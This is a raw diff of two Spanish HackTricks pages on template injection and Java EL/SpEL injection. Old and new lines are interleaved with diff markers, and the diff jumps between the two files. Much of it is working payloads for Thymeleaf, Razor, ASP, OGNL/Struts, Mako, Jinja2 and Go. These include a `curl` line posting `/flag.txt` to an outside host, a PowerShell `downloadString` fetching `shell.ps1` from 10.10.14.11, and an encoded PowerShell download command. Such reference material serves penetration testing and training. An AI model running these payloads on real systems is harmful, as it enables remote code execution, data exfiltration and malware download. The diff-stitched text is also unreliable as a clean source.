||||
Considere el siguiente fragmento de código, el cual podría ser susceptible a explotación:
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
|
||||
```
|
||||
Esto indica que si el motor de plantillas procesa estas entradas de manera incorrecta, podría llevar a la ejecución de código remoto accediendo a URLs como:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
```
|
||||
|
|
@ -308,9 +264,6 @@ Nueva versión de Pebble:
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{% set bytes = (1).TYPE
|
||||
.forName('java.lang.Runtime')
|
||||
.methods[6]
|
||||
|
|
@ -325,7 +278,7 @@ Nueva versión de Pebble:
|
|||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
Jinjava es un motor de plantillas Java que admite la inyección de plantillas en el lado del servidor (SSTI). Permite a los atacantes ejecutar código remoto en el servidor afectado.
|
||||
Jinjava es un motor de plantillas Java que admite la inyección de plantillas en el lado del servidor (SSTI). Permite a los atacantes ejecutar código Java arbitrario en el servidor afectado.
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
|
|
@ -375,10 +328,6 @@ Buscar "com.hubspot.content.hubl.context.TemplateContextRequest" y descubrir el
|
|||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{% raw %}
|
||||
{% %} and {{ }} blocks
|
||||
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
|
||||
|
|
@ -415,7 +364,12 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
EL proporciona un mecanismo importante para permitir que la capa de presentación (páginas web) se comunique con la lógica de la aplicación (beans administrados). EL es utilizado por **varias tecnologías de JavaEE**, como la tecnología JavaServer Faces, la tecnología JavaServer Pages (JSP) y la Inyección de Dependencias y Contextos para Java EE (CDI).\
|
||||
El Lenguaje de Expresión (EL) es una característica fundamental que facilita la interacción entre la capa de presentación (como páginas web) y la lógica de la aplicación (como beans gestionados) en JavaEE. Se utiliza ampliamente en múltiples tecnologías de JavaEE para agilizar esta comunicación. Las principales tecnologías de JavaEE que utilizan EL incluyen:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Emplea EL para vincular componentes en páginas JSF con los datos y acciones de backend correspondientes.
|
||||
- **JavaServer Pages (JSP)**: EL se utiliza en JSP para acceder y manipular datos dentro de las páginas JSP, facilitando la conexión de elementos de página con los datos de la aplicación.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra con CDI para permitir una interacción fluida entre la capa web y los beans gestionados, asegurando una estructura de aplicación más coherente.
|
||||
|
||||
Consulte la siguiente página para obtener más información sobre la **explotación de intérpretes EL**:
|
||||
|
||||
{% content-ref url="el-expression-language.md" %}
|
||||
|
|
@ -457,6 +411,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
|
||||
##
|
||||
|
||||
|
||||
### Smarty (PHP)
|
||||
```php
|
||||
{$smarty.version}
|
||||
|
|
@ -519,9 +474,9 @@ array("first_name" => $user.first_name)
|
|||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates está inspirado en Twig pero es un motor de plantillas PHP nativo en lugar de un motor de plantillas compilado.
|
||||
Plates es un motor de plantillas nativo de PHP, inspirado en Twig. Sin embargo, a diferencia de Twig, que introduce una nueva sintaxis, Plates aprovecha el código PHP nativo en las plantillas, lo que lo hace intuitivo para los desarrolladores de PHP.
|
||||
|
||||
controlador:
|
||||
Controlador:
|
||||
```php
|
||||
// Create new Plates instance
|
||||
$templates = new League\Plates\Engine('/path/to/templates');
|
||||
|
|
@ -529,14 +484,14 @@ $templates = new League\Plates\Engine('/path/to/templates');
|
|||
// Render a template
|
||||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||
```
|
||||
plantilla de página:
|
||||
Plantilla de página:
|
||||
```php
|
||||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||||
|
||||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
plantilla de diseño:
|
||||
Plantilla de diseño:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
|
@ -547,6 +502,9 @@ plantilla de diseño:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
**Más información**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
|
||||
|
||||
### PHPlib y HTML\_Template\_PHPLIB (PHP)
|
||||
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) es lo mismo que PHPlib pero portado a Pear.
|
||||
|
|
@ -605,9 +563,10 @@ $t->parse('authorline_ref', 'authorline', true);
|
|||
echo $t->finish($t->parse('OUT', 'authors'));
|
||||
?>
|
||||
```
|
||||
### Jade (NodeJS)
|
||||
**Más información**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
|
||||
|
||||
Jade, ahora conocido como Pug, es un motor de plantillas de NodeJS que permite la inyección de plantillas en el lado del servidor. Puedes explotar vulnerabilidades de inyección de plantillas en Jade para ejecutar código arbitrario en el servidor.
|
||||
### Jade (NodeJS)
|
||||
```javascript
|
||||
- var x = root.process
|
||||
- x = x.mainModule.require
|
||||
|
|
@ -637,6 +596,9 @@ Hello {NAME}.<br/>
|
|||
</patTemplate:tmpl>
|
||||
</patTemplate:tmpl>
|
||||
```
|
||||
**Más información**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
|
||||
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
Travesía de ruta (más información [aquí](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
|
|
@ -678,10 +640,10 @@ URLencoded:
|
|||
|
||||
| **Plantilla** | **Descripción** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | Evaluar y renderizar la salida |
|
||||
| | Evaluar y renderizar la salida |
|
||||
| | Evaluar y renderizar la salida codificada en HTML |
|
||||
| | Comentario |
|
||||
| y | Permitir código (deshabilitado por defecto) |
|
||||
| | Comentario |
|
||||
| y | Permitir código (deshabilitado por defecto) |
|
||||
|
||||
* \= 49
|
||||
|
||||
|
|
@ -759,7 +721,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Consulta la siguiente página para aprender trucos sobre **burlar las cajas de arena de ejecución de comandos arbitrarios** en python:
|
||||
Consulta la siguiente página para aprender trucos sobre **burlar ejecución de comandos arbitrarios evitando las cajas de arena** en python:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
|
@ -781,14 +743,11 @@ Consulta la siguiente página para aprender trucos sobre **burlar las cajas de a
|
|||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
**Más información**
|
||||
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
|
||||
|
||||
### Jinja2 (Python)
|
||||
|
||||
|
|
@ -813,9 +772,6 @@ Consulta la siguiente página para aprender trucos sobre **burlar las cajas de a
|
|||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{{settings.SECRET_KEY}}
|
||||
{{4*4}}[[5*5]]
|
||||
{{7*'7'}} would result in 7777777
|
||||
|
|
@ -852,6 +808,8 @@ Consulta la siguiente página para aprender trucos sobre **burlar las cajas de a
|
|||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Otros payloads en [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
|
||||
### Mako (Python)
|
||||
```python
|
||||
<%
|
||||
|
|
@ -860,6 +818,9 @@ x=os.popen('id').read()
|
|||
%>
|
||||
${x}
|
||||
```
|
||||
**Más información**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
* `@(2+2) <= Éxito`
|
||||
|
|
@ -871,9 +832,9 @@ ${x}
|
|||
* `@(1+2)`
|
||||
* `@( //Código C# )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
El método `System.Diagnostics.Process.Start` de .NET se puede utilizar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
El método `.NET` `System.Diagnostics.Process.Start` se puede utilizar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
**Más información**
|
||||
|
||||
|
|
@ -886,7 +847,7 @@ El método `System.Diagnostics.Process.Start` de .NET se puede utilizar para ini
|
|||
* `<%= "foo" %>` = foo
|
||||
* `<%= foo %>` = Nada
|
||||
* `<%= response.write(date()) %>` = \<Date>
|
||||
```bash
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
**Más Información**
|
||||
|
|
@ -905,26 +866,22 @@ Incluso si es perl, utiliza etiquetas como ERB en Ruby.
|
|||
```
|
||||
### SSTI en GO
|
||||
|
||||
La forma de confirmar que el motor de plantillas utilizado en el backend es Go es mediante el uso de estos payloads:
|
||||
En el motor de plantillas de Go, la confirmación de su uso se puede hacer con payloads específicos:
|
||||
|
||||
* `{{ . }}` = estructura de datos pasada como entrada a la plantilla
|
||||
* Si los datos pasados son un objeto que contiene el atributo Password por ejemplo, el payload anterior lo filtraría, pero también podrías hacer: `{{ .Password }}`
|
||||
* `{{printf "%s" "ssti" }}` = debería mostrar la cadena ssti en la respuesta
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}` = Estos son algunos otros payloads que deberían mostrar la cadena "ssti" sin las palabras finales "js" o "html". Puedes consultar más palabras clave en el motor [aquí](https://golang.org/pkg/text/template).
|
||||
* `{{ . }}`: Revela la estructura de datos de entrada. Por ejemplo, si se pasa un objeto con un atributo `Password`, `{{ .Password }}` podría exponerlo.
|
||||
* `{{printf "%s" "ssti" }}`: Se espera que muestre la cadena "ssti".
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Estos payloads deberían devolver "ssti" sin agregar "html" o "js". Se pueden explorar más directivas en la documentación de Go [aquí](https://golang.org/pkg/text/template).
|
||||
|
||||
**Explotación de XSS**
|
||||
|
||||
Si el servidor está **utilizando el paquete text/template**, XSS es muy fácil de lograr simplemente proporcionando tu **payload** como entrada. Sin embargo, eso **no es el caso con html/template** ya que codifica en HTML la respuesta: `{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
|
||||
Sin embargo, Go permite **DEFINIR** una **plantilla** completa y luego **llamarla más tarde**. El payload sería algo así:\
|
||||
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
|
||||
Con el paquete `text/template`, XSS puede ser directo al insertar el payload directamente. Por el contrario, el paquete `html/template` codifica la respuesta para evitar esto (por ejemplo, `{{"<script>alert(1)</script>"}}` resulta en `<script>alert(1)</script>`). Sin embargo, la definición e invocación de plantillas en Go pueden evitar esta codificación:
|
||||
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
|
||||
|
||||
**Explotación de RCE**
|
||||
|
||||
La documentación tanto para el módulo html/template se puede encontrar [aquí](https://golang.org/pkg/html/template/), y la documentación para el módulo text/template se puede encontrar [aquí](https://golang.org/pkg/text/template/), y sí, varían mucho. Por ejemplo, en **text/template**, puedes **llamar directamente a cualquier función pública con el valor "call"**, sin embargo, esto no es posible con html/template.
|
||||
La explotación de RCE difiere significativamente entre `html/template` y `text/template`. El módulo `text/template` permite llamar directamente a cualquier función pública (usando el valor "call"), lo cual no está permitido en `html/template`. La documentación de estos módulos está disponible [aquí para html/template](https://golang.org/pkg/html/template/) y [aquí para text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Si deseas encontrar una RCE en Go a través de SSTI, debes saber que al poder acceder al objeto dado a la plantilla con `{{ . }}`, también puedes **llamar a los métodos de los objetos**. Entonces, imagina que el **objeto pasado tiene un método llamado System** que ejecuta el comando dado, podrías abusar de él con: `{{ .System "ls" }}`\
|
||||
Por lo tanto, probablemente **necesitarás el código fuente**. Un código fuente potencial para algo así se vería así:
|
||||
Para RCE a través de SSTI en Go, se pueden invocar métodos de objetos. Por ejemplo, si el objeto proporcionado tiene un método `System` que ejecuta comandos, se puede explotar como `{{ .System "ls" }}`. Por lo general, es necesario acceder al código fuente para explotar esto, como en el ejemplo dado:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
|
@ -953,13 +910,10 @@ Si crees que podría ser útil, lee:
|
|||
|
||||
## Herramientas
|
||||
|
||||
{% embed url="https://github.com/Hackmanit/TInjA" %}
|
||||
|
||||
{% embed url="https://github.com/vladko312/sstimap" %}
|
||||
|
||||
{% embed url="https://github.com/epinna/tplmap" %}
|
||||
|
||||
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
|
||||
* [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
|
||||
* [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
|
||||
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||||
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
## Lista de detección de fuerza bruta
|
||||
|
||||
|
|
@ -969,7 +923,7 @@ Si crees que podría ser útil, lee:
|
|||
|
||||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
|
||||
* [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -983,8 +937,8 @@ Si crees que podría ser útil, lee:
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
|||
|
|
@ -5,36 +5,37 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información Básica
|
||||
|
||||
EL proporciona un mecanismo importante para permitir que la capa de presentación (páginas web) se comunique con la lógica de la aplicación (beans administrados).
|
||||
El Lenguaje de Expresión (EL) es fundamental en JavaEE para conectar la capa de presentación (por ejemplo, páginas web) y la lógica de la aplicación (por ejemplo, beans gestionados), permitiendo su interacción. Se utiliza principalmente en:
|
||||
|
||||
### ¿Dónde se utiliza?
|
||||
- **JavaServer Faces (JSF)**: Para vincular componentes de UI a datos/acciones de backend.
|
||||
- **JavaServer Pages (JSP)**: Para acceso y manipulación de datos dentro de páginas JSP.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: Para facilitar la interacción de la capa web con beans gestionados.
|
||||
|
||||
1. **Spring Framework**: Seguridad, Datos, …
|
||||
2. **Cualquier lugar donde los desarrolladores lo usen mediante la API de SpEL**
|
||||
3. Para los lenguajes se puede usar en Java, Kotlin, Scala y otras tecnologías basadas en JVM.
|
||||
**Contextos de Uso**:
|
||||
|
||||
EL es utilizado por **varias tecnologías de JavaEE**, como la tecnología JavaServer Faces, la tecnología JavaServer Pages (JSP) y la Inyección de Dependencias y Contextos para Java EE (CDI). EL también se puede utilizar en entornos independientes.
|
||||
- **Spring Framework**: Aplicado en varios módulos como Seguridad y Datos.
|
||||
- **Uso General**: A través de la API SpEL por desarrolladores en lenguajes basados en JVM como Java, Kotlin y Scala.
|
||||
|
||||
Las aplicaciones Java son **fácilmente reconocibles** ya que tienden a usar extensiones como **.jsp** o **.jsf**, lanzan **errores de pila** y usan **términos como "Serverlet" en las cabeceras**.
|
||||
EL está presente en tecnologías JavaEE, entornos independientes y es reconocible a través de extensiones de archivos `.jsp` o `.jsf`, errores de pila y términos como "Servlet" en encabezados. Sin embargo, sus características y el uso de ciertos caracteres pueden depender de la versión.
|
||||
|
||||
{% hint style="info" %}
|
||||
Dependiendo de la **versión de EL**, algunas **características** pueden estar **activadas** o **desactivadas** y, por lo general, algunos **caracteres** pueden estar **prohibidos**.
|
||||
Dependiendo de la **versión de EL**, algunas **características** pueden estar **activadas** o **desactivadas** y generalmente algunos **caracteres** pueden estar **prohibidos**.
|
||||
{% endhint %}
|
||||
|
||||
## Ejemplo Básico
|
||||
|
||||
(Puedes encontrar otro tutorial interesante sobre EL en [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
|
||||
|
||||
Descarga desde el repositorio de [**Maven**](https://mvnrepository.com) los archivos jar:
|
||||
Descarga desde el [**repositorio Maven**](https://mvnrepository.com) los archivos jar:
|
||||
|
||||
* `commons-lang3-3.9.jar`
|
||||
* `spring-core-5.2.1.RELEASE.jar`
|
||||
|
|
@ -48,18 +49,18 @@ import org.springframework.expression.ExpressionParser;
|
|||
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||
|
||||
public class Main {
|
||||
public static ExpressionParser PARSER;
|
||||
public static ExpressionParser PARSER;
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
PARSER = new SpelExpressionParser();
|
||||
public static void main(String[] args) throws Exception {
|
||||
PARSER = new SpelExpressionParser();
|
||||
|
||||
System.out.println("Enter a String to evaluate:");
|
||||
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
|
||||
String input = stdin.readLine();
|
||||
Expression exp = PARSER.parseExpression(input);
|
||||
String result = exp.getValue().toString();
|
||||
System.out.println(result);
|
||||
}
|
||||
System.out.println("Enter a String to evaluate:");
|
||||
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
|
||||
String input = stdin.readLine();
|
||||
Expression exp = PARSER.parseExpression(input);
|
||||
String result = exp.getValue().toString();
|
||||
System.out.println(result);
|
||||
}
|
||||
}
|
||||
```
|
||||
A continuación, compila el código (si no tienes `javac` instalado, instala `sudo apt install default-jdk`):
|
||||
|
|
@ -73,25 +74,13 @@ Enter a String to evaluate:
|
|||
{5*5}
|
||||
[25]
|
||||
```
|
||||
Ten en cuenta cómo en el ejemplo anterior se **evaluó** el término `{5*5}`.
|
||||
Observa cómo en el ejemplo anterior el término `{5*5}` fue **evaluado**.
|
||||
|
||||
## **Ejemplo de CVE**
|
||||
## **Tutorial basado en CVE**
|
||||
|
||||
A estas alturas, apuesto a que ya sabes lo que viene. Si los desarrolladores están utilizando SpEL con entrada de usuario, necesitamos crear una carga útil con inyección. Veamos uno que permita la ejecución remota de código (RCE). Fue creado como parte de un exploit para [CVE-2017-8046](https://github.com/m3ssap0/SpringBreakVulnerableApp).
|
||||
Verifica en **este post: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
|
||||
|
||||
|
||||
|
||||
Consta de 3 partes:
|
||||
|
||||
* color negro - copia el resultado de la ejecución del comando directamente en el flujo de salida de la solicitud HTTP
|
||||
* color rojo - obtiene el tiempo de ejecución de Java y ejecuta el comando en el sistema
|
||||
* color azul - cadena que contiene el comando: `cmd /c dir`. Para hacerlo más robusto, los caracteres individuales del comando se decodifican a partir de números.
|
||||
|
||||
Resultado de su ejecución:
|
||||
|
||||
|
||||
|
||||
## Cargas útiles
|
||||
## Payloads
|
||||
|
||||
### Acciones básicas
|
||||
```bash
|
||||
|
|
@ -119,17 +108,17 @@ Resultado de su ejecución:
|
|||
```
|
||||
### Detección
|
||||
|
||||
* Detección con Burp
|
||||
* Detección en Burp
|
||||
```bash
|
||||
gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
|
||||
gk6q${"zkz".toString().replace("k", "x")}doap2
|
||||
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
|
||||
```
|
||||
* Detección de J2EE
|
||||
```bash
|
||||
#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
|
||||
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
|
||||
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
|
||||
```
|
||||
* Esperar 10 segundos
|
||||
* Dormir 10 segundos
|
||||
```bash
|
||||
#Blind detection vector (sleep during 10 seconds)
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
|
||||
|
|
@ -160,7 +149,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
|
|||
# With HTMl entities injection inside the template
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
* RCE en **Linux**
|
||||
* Ejecución de código remoto **linux**
|
||||
```bash
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
||||
```
|
||||
|
|
@ -204,15 +193,15 @@ T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
|
|||
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
|
||||
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
|
||||
```
|
||||
### Inspeccionando el entorno
|
||||
### Inspección del entorno
|
||||
|
||||
* `applicationScope` - variables globales de la aplicación
|
||||
* `requestScope` - variables de la solicitud
|
||||
* `initParam` - variables de inicialización de la aplicación
|
||||
* `sessionScope` - variables de sesión
|
||||
* `param.X` - valor del parámetro http donde X es el nombre del parámetro
|
||||
* `param.X` - valor del parámetro donde X es el nombre de un parámetro http
|
||||
|
||||
Deberás convertir estas variables a String como:
|
||||
Necesitarás convertir estas variables a String como:
|
||||
```bash
|
||||
${sessionScope.toString()}
|
||||
```
|
||||
|
|
@ -228,7 +217,7 @@ ${employee.FirstName}
|
|||
```
|
||||
## Bypass de WAF
|
||||
|
||||
